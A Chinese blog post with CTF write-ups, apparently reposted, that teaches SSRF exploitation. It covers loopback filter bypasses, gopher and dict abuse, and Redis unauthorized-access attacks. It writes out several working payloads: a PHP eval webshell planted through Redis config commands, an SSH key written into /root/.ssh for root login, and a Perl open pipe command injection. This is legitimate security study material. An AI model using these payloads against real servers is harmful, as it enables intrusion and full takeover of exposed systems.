ssrf漏洞利用+CTF实例

引发ssrf漏洞的几个函数

  • file_get_contents() 把整个文件读入一个字符串中,获取本地或者远程文件内容
  • fsockopen() 获得套接字信息
  • curl_exec() 执行一个curl会话,由curl_init()初始化一个新的会话,返回一个curl句柄
  • fopen() 打开文件或者URL
  • readfile() 输出一个文件,读入一个文件并写入到输出缓冲

ssrf用到的协议

  • file协议:获取敏感文件信息——file:///etc/passwd
  • dict协议:探测内网主机以及端口开放情况——ditc://ip:port/命令
  • gopher协议:在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务

常见绕过

1.@符号绕过

http://127.0.0.0.1==http://www.baidu.com@127.0.0.1

2.点分割符号替换(可以使用。来代替.)

http://127。0。0。1

3.本地回环地址的其他表现形式

127.0.0.1,通常被称为本地回环地址,一些其他的表示方法如下:

http://127.0.0.1

http://localhost

http://127.255.255.254 ## 从127.0.0.2-127.255.255.254都可以

http://[::1]

http://[::ffff:7f00:1] 

http://[::ffff:127.0.0.1]

http://127.1

http://127.0.1

http://0:80

4.IP进制转换

点分十进制:127.0.0.1:

八进制:0177.0.0.1

十六进制:0x7f.0.0.1

Redis基础知识

关键词:非关系型数据库,默认端口号是6379,key-value存储系统

## redis的编译安装
wget http://download.redis.io/releases/redis-6.0.8.tar.gz
tar -xzf redis-6.0.8.tar.gz
cd redis-6.0.8
make
cd src
./redis-server # 启动redis
./redis-server ../redis.conf& # 指定配置文件后台运行
./redis-cli -h IP # 运行客户端,可以指定IP远程登录

## 基础语法,在客户端下运行以下命令
select [dbnum] # 换数据库,每个数据库对外都是从0开始的递增数字命名
keys * # 查看所有键
ping # 测试服务是否运行,如果返回PONG则在运行
set name "zhansan" # 设置键值对,这是字符串型,还有hash类型,列表list,集合set,有序集合sorted set
get name # 查看指定键的值
del name # 删除键
quit # 退出
save/bgsave # 持久化操作,会保存在dir/dbfilename

flushdb # 删除当前数据库中数据
flushall # 删除所有数据库中数据

info # 查看redis基本信息

Redis未授权访问漏洞

影响版本

数据库版本在4.x/5.x以下

漏洞产生条件

redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问等相关安全策略,直接暴露在公网;没有设置密码认证(一般为空),可以免密码远程登录redis服务。

利用姿势

1.无口令远程登录redist

2.利用redis的持久化写webshell

3.利用持久化利用公私钥认证获取root权限

4.利用主从复制,利用攻击软件获得shell

### 漏洞利用前提条件
## 修改配置文件redis.conf
vi redis.conf 
# 注释掉bind 127.0.0.1,添加bind 0.0.0.0
# 关闭保护模式,否则外部IP无法连接:protected-mode no
## 开启6379端口
firewall-cmd --list-ports # 查看防火墙端口
firewall-cmd --zone=public --add-port=6379/tcp --permanent
firewall-cmd --reload # 重新加载防火墙

### 利用姿势2
./redis-cli -h 靶机IP
config set dir /var/www/html # 要有服务器apache/nginx,并打开80端口
config set dbfilename test.php
set webshell "\r\n\r\n<?php @eval($_POST[1]); ?>\r\n\r\n" # 需要知道网站路径,还要有文件读写权限
save

### 利用姿势3
ssh-keygen -t rsa # 在攻击机中生成ssh公钥和私钥,密码设置为空
cd /root/.ssh # 同时确保靶机也有.ssh文件夹
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt # 将生成的公钥保存到1.txt
cat 1.txt|redis路径/redis-cli -h 靶机IP -x set crack # 连接靶机上的redis服务,将1.txt写入redis,crack为键,1.txt为值
./redis-cli -h 靶机IP # 然后利用持久化把公钥写入靶机中
config set dir /root/.ssh
config set dbfilename authorized-keys
save
ssh -i id_rsa root@靶机IP # 在攻击机上使用ssh免密登录靶机,利用私钥成功登入redis服务器,获得root权限成功

CTF实例

BUUCTF-网鼎杯2020玄武组SSRFMe(主从复制)

1.这题的考点是ssrf漏洞+redis主从复制。题目打开直接给了源码,进行代码审计。

        a.接收get参数url,不为空则进行函数处理。

        b.check_inner_ip函数判断是否为合法内网IP,并使用http或gopher等协议。

        c.safe_request_url函数先用上一个函数判断,返回false会开启curl会话,输入值。

2.在safe_request_url中用到了curl_exec函数,怀疑有ssrf漏洞,同时还有提示:让我们本地访问hint.php。因此我们要绕过check_inner_ip函数。

payload1:
/?url=http://0.0.0.0./hint.php
或:
/?url=http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php

    其中0.0.0.0代表本机中所有IPv4地址,监听0.0.0.0的端口就是监听本机中所有IP的端口,后面的第二个payload中的地址是IPv4映射的IPv6地址,此类型地址用于将IPv4节点表示为IPv6地址,它允许IPv6应用程序直接与IPv4应用程序通信。

    IPv4地址是32位,IPv6地址是128位。IPv4映射地址以 0:0:0:0:0:ffff表示前96位(16*6),原IPv4地址转换位十六进制填充后32位(也可以不转换为十六进制)。

3.用上述payload访问hint.php得到redis密码为root,接下来要用redis主从复制,利用目录为/tmp。思路如下:

 创建一个恶意的redis服务器作为redis主机(master),该redis主机能够回应其他连接它的redis从机的响应。有了恶意的redis主机之后,就会远程连接靶机中的redis服务器,通过slaveof命令将目标redis服务器设置为从机(slave)。然后将主机上的exp同步到从机上,并将dbfilename设置为exp.so。最后再控制从机加载模块执行系统命令即可。

但是到加载模块那里试了好久一直报错,无法执行系统命令,用vps也不行(先放在这,哪天解决了再更新)

https://www.cnblogs.com/karsa/p/14123995.html

很经典的一道CTF-WriteUP[网鼎杯 2020 玄武组]SSRFMe - FreeBuf网络安全行业门户

CTFHub-技能树-ssrf-redis协议(写webshell)

gopher协议:

在www出现之前,gopher是Internet上最主要的信息检索工具,gopher站点也是最主要的站点。Gopher协议没有默认端口所以要指定,因此有了下面的基本格式

最基本的格式:

gopher://<IP>:<port>/_ 后接TCP数据流

Gopher可以发送POST数据也可以发送GET数据。

  • Gopher回车换行是%0d%0a,所以不使用工具总是要自己用脚本把%0a改成%0d%0a。
  • POST参数之间的&分隔符也需要URL编码。
  • 同时Gopher还可以对FTP、Telnet、Redis、Memcache、mysql进行攻击

1.可以利用gopherus工具生成payload

git clone https://github.com/tarunkant/Gopherus
cd Gopherus
chmod +x install.sh
./install.sh # 可以直接用gopherus命令
gopherus --exploit redis

flushall

set 1 '<?php @eval($_POST[1]);?>'

config set dir /var/www/html

config set dbfilename shell.php

save

 2.当出现上面这个页面,可以用file://协议查看一下。然后就可以蚁剑连接

?url=file:///var/www/html/shell.php

BUUCTF-HITCON2017-SSRFMe(Perl语言中GET命令执行) 

1.题目打开给了源码,进行代码审计。

        a.输出当前页面用户的ip

        b.构建md5(orange+ip)的目录,并将它作为当前目录

        c.执行GET拼接shell命令,根据filename的dirname再创建并更换当前目录

        d.将GET命令执行结构写入filename的basename文件中

2.具体做法如下:

payload1:将GET /命令的结果写入test文件中
?url=/&filename=test 

如果GET后面跟路径的话,可以直接获取文件或目录内容,即GET / == ls /,GET /root/flag == cat /root/flag

然后访问/sandbox/md5(orange+ip)/test可以看到:根目录下有flag和readflag文件,

 还想用上面payload读flag,发现不可读取,而readflag是elf执行文件。所以明显的是要执行readflag文件去读取flag。

3.想要执行readflag文件,要利用Perl语言中GET命令执行漏洞。

    在perl语言中,open函数存在命令执行漏洞:如果open文件名中存在管道符|,就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令同名的文件中。

    在本题中调用了GET函数,GET使用file协议的时候就会调用到perl的open函数

payload2:
?url=&filename=|/readflag

一开始文件夹下是空的:

后面在执行了payload2后,会多出一个"|/"文件夹,下面就是readflag

所以是为了凑出管道符,而且要执行的命令先前必须要有以命令为文件名的文件存在

 3.执行payload3,由于有管道符|,所以将/readflag直接以命令的形式执行。最后访问对应路径得到flag。

payload3:
?url=file:|/readflag&filename=test

BUUCTF-De1CTF2019-SSRF Me

 1.题目一打开给了python源码,进行代码审计。需要沉下心来慢慢看。

        a.有三个路由,/、/De1ta、/geneSign。在根目录下显示code.txt即源码的文件,在/geneSign下需要传入param参数,输出getSign函数的返回值(getSign返回secert_key+param+action的md5值),显然这两个路由不能得到flag

        b.在/De1ta路由下,有f.read(),应该可以读取flag.txt。想要得到flag需要满足:

        ①需要传入get参数action,cookie参数param和sign。

        ②action要同时包含read和scan。因为如果action里包含scan,会调用scan方法(对param进行url请求),并将scan的返回值写入result.txt;如果action里包含read,会读取result.txt并写入result变量中。

        ③param要有flag.txt(不能包含gopher和file)。因为上面action可以对param进行url请求,读取其中的内容。

        ④sign要等于getSign(action,param)。而想要知道具体md5值,可以通过/geneSign路由,因为它也有调用getSign,而且会返回md5值。现在在/De1ta路由,action=readscan,param=flag.txt,所以会返回secert_key+flag.txtreadscan;但是在/geneSign路由下,action是固定的,为scan,所以这里param不能为flag.txt,要为flag.txtread,才会返回secert_key+flag.txtreadscan。

2.根据上面的代码审计,先访问/geneSign路由,得到对应的MD5值,再访问/De1ta路由,填入对应的参数,即可得到flag。

其他解法:

De1CTF ssrf_me 的三种解法 - 先知社区 (aliyun.com)

哈希拓展攻击

Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI(CVE-2019-9948)

BUUCTF-[第三章web进阶]python里的ssrf

1.题目提示:尝试访问到容器内部的8000端口和url path /api/internal/secret即可获取flag。题目打开显示url parameter is required,需要传入url参数,只能get传入,post传入会报错。

2.当传入?url=http://127.0.0.1,显示127.0.0.1is forbidden。localhost也不行,因此需要绕过127.0.0.1,试了一下:以下的可以得到flag。

?url=http://127.127.127.127:8000/api/internal/secret
?url=http://127.0.0.2:8000/api/internal/secret ## 从127.0.0.2-127.255.255.254都可以
?url=http://0.0.0.0:8000/api/internal/secret
?url=http://0:8000/api/internal/secret

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/874952.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

全国历年高考真题2008-2024

目录 分享链接&#xff1a; ⬇️⬇️⬇️ 点击下载

2024网络安全学习路线,最全保姆级教程,学完直接拿捏!

关键词&#xff1a; 网络安全入门、渗透测试学习、零基础学安全、网络安全学习路线 首先咱们聊聊&#xff0c;学习网络安全方向通常会有哪些问题 前排提示&#xff1a;文末有CSDN独家网络安全资料包&#xff01; 1、打基础时间太长 学基础花费很长时间&#xff0c;光语言都有…

基于微信小程序的高校实验室管理系统的设计与实现

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 基于微信小程序JavaSpringBootVueMySQL的高…

QT:音视频播放器

目录 一.播放器设计 二.需要使用的控件 三.选择视频 四.播放视频 五.暂停视频 六.关闭视频 七.播放状态设置 八.切换视频(上一首) 九.切换视频(下一首) 十.设置视频滑块 十一.更新滑块显示 十二.实现效果 十三.代码设计 1.mainwindow.h 2.mainwindow.cpp 一.播放…

并行程序设计基础——并行I/O(2)

目录 一、显式偏移的并行文件读写 1、阻塞方式 1.1 MPI_FILE_READ_AT 1.2 MPI_FILE_WRITE_AT 1.3 MPI_FILE_READ_AT_ALL 1.4 MPI_FILE_WRITE_AT_ALL 2、非阻塞方式 2.1 MPI_FILE_IREAD_AT 2.2 MPI_FILE_IWRITE_AT 3、两步非阻塞组调用 3.1 MPI_FILE_READ_AT_ALL_BEG…

基于SpringBoot的医院挂号预约管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 【2025最新】基于JavaSpringBootVueMySQL的医院挂号…

港科夜闻 | 叶玉如校长出席2024科技+新质生产力高峰论坛发表专题演讲,贡献国家科技强国战略...

关注并星标 每周阅读港科夜闻 建立新视野 开启新思维 1、叶玉如校长出席“2024科技新质生产力高峰论坛”&#xff0c;做了题为“三个创新&#xff1a;培育和发展新质生产力、贡献国家科技强国战略”的主题演讲。该论坛于9月2日在香港召开。论坛围绕夯实基础科研、推动源头创新、…

『功能项目』管理器基类【38】

我们打开上一篇37单例模式框架的项目&#xff0c; 本章要做的事情是编写管理器基类 首先创建脚本&#xff1a;ManagerBase.cs using UnityEngine; public abstract class ManagerBase : MonoBehaviour{public virtual void Init() { } } public class ManagerBase<T> : …

Docker容器技术1——docker基本操作

Docker容器技术 随着云计算和微服务架构的普及&#xff0c;容器技术成为了软件开发、测试和部署过程中的重要组成部分。其中&#xff0c;Docker作为容器技术的代表之一&#xff0c;以其简便易用的特点赢得了广大开发者的青睐。 Docker允许开发者在轻量级、可移植的容器中打包和…

JAVA——方法

public static 返回值类型 方法名(参数){//方法体return 数据; } 一、定义与调用 public class demo9_12 {public static void main(String[] args) {// 调用myName();}//定义public static void myName(){System.out.println("Hello World");} } 运行 二、含参数…

类和对象(c++)

欢迎来到本期频道&#xff01; 类和对象 类定义&#xff1a;格式&#xff1a;类域&#xff1a;访问限定符友元内部类this指针静态与非静态成员关系类型转换六大默认成员函数&#xff08;C98&#xff09;1️⃣构造函数2️⃣拷贝构造函数浅拷贝与深拷贝 3️⃣赋值重载拷贝函数4️…

产线工控安全之防勒索病毒杀手锏

在当今数字化时代&#xff0c;数据安全已成为企业运营中不可或缺的一部分。勒索病毒和内部泄密事件的频发&#xff0c;使得企业必须采取更为严格的安全措施来保护其关键数据和运营系统。苏州深信达网络科技推出的MCK主机加固解决方案&#xff0c;正是为了应对这些挑战而设计的。…

Excel图片批量插入单元格排版处理插件【图片大师】

为了方便大家在图片的插入排版的重复工作中解放出来&#xff0c;最近发布了一款批量插入图片的插件&#xff0c;欢迎大家下载&#xff0c;免费试用。 这是图片的文件夹&#xff1a; 主要功能如下: 1&#xff0c;匹配单元格名称的多张图批量插入到一个单元格 该功能支持设置图…

vivo手机已删除的短信还能恢复吗?

虽然现在我们很少使用vivo手机的短信功能&#xff0c;但是我们偶尔还会通过vivo手机短信功能接收一些重要的信息。如果我们在清理垃圾短信的时候误删了vivo手机重要短信&#xff0c;该怎么恢复呢&#xff1f; 方法一&#xff1a;通过vivo云服务恢复 1、确保您已开启vivo云服务…

IP包头的总长度字段和UDP包头的长度字段之间的关系

IP包头的总长度字段和UDP包头的长度字段之间的关系&#xff0c;并通过实例加以说明。 IP包头的总长度字段 **总长度&#xff08;Total Length&#xff09;**字段是一个16位的字段&#xff0c;表示整个IP数据包的总长度&#xff0c;包括IP包头和数据部分。单位是字节。由于该字…

实操了 AI 大模型项目落地, 程序员成功转变为 AI 大模型工程师

前言 根据《2024 年全球人工智能行业报告》最新的数据显示&#xff0c;全球 AI 市场预计将以每年超过 40% 的速度增长&#xff0c;到 2030 年市值将达到数万亿美元&#xff0c;这也是预示着在接下来的十年到十五年里&#xff0c;人工智能将获得巨大的发展红利。 在过去的一年…

SQL的高级查询练习知识点中(day25)

1 学习目标 重点掌握聚合函数的使用重点掌握字段别名重点掌握分组查询的语法重点掌握having的使用方法了解子查询的语法重点掌握排序查询语法 2 排序查询 2.1 语法 SELECT要查询的东西 FROM表 WHERE 条件 ORDER BY 排序的字段|表达式|函数|别名 [ASC|DESC] ASC 升序&#…

某市第二届全民国防知识竞赛流程规则方案

1.勇往直前 &#xff08;1&#xff09;答题规则&#xff1a;参赛队员按顺序作答 &#xff08;2&#xff09;答题方式&#xff1a;根据大屏幕显示的题库&#xff08;一道单选题、一道多选题、一道判断题&#xff09;&#xff0c;采用依托答题系统进行现场答题。 &#xff08;3&…

mac电脑打包太多xcode项目导致硬盘满了的解决方法

主要针对于在文件夹中删除了很多无用的xode打包项目&#xff0c;但是硬盘还是占用的方法 1.删除各种没用的xcode项目 2.设置-通用-储存空间设置-开发者&#xff08;右键&#xff09;&#xff0c;选择xcode项目构建和索引、xcode缓存。点击删除

从用户反馈看相亲交友平台的设计缺陷及改进方向

相亲交友平台在现代社会中扮演着越来越重要的角色&#xff0c;尤其是在数字化时代&#xff0c;它们通过智能匹配算法帮助用户找到潜在的伴侣&#xff0c;并提供了一系列功能来增强用户体验开发h17711347205。以下是对相亲交友平台用户体验的一些分析&#xff1a; 用户界面设计…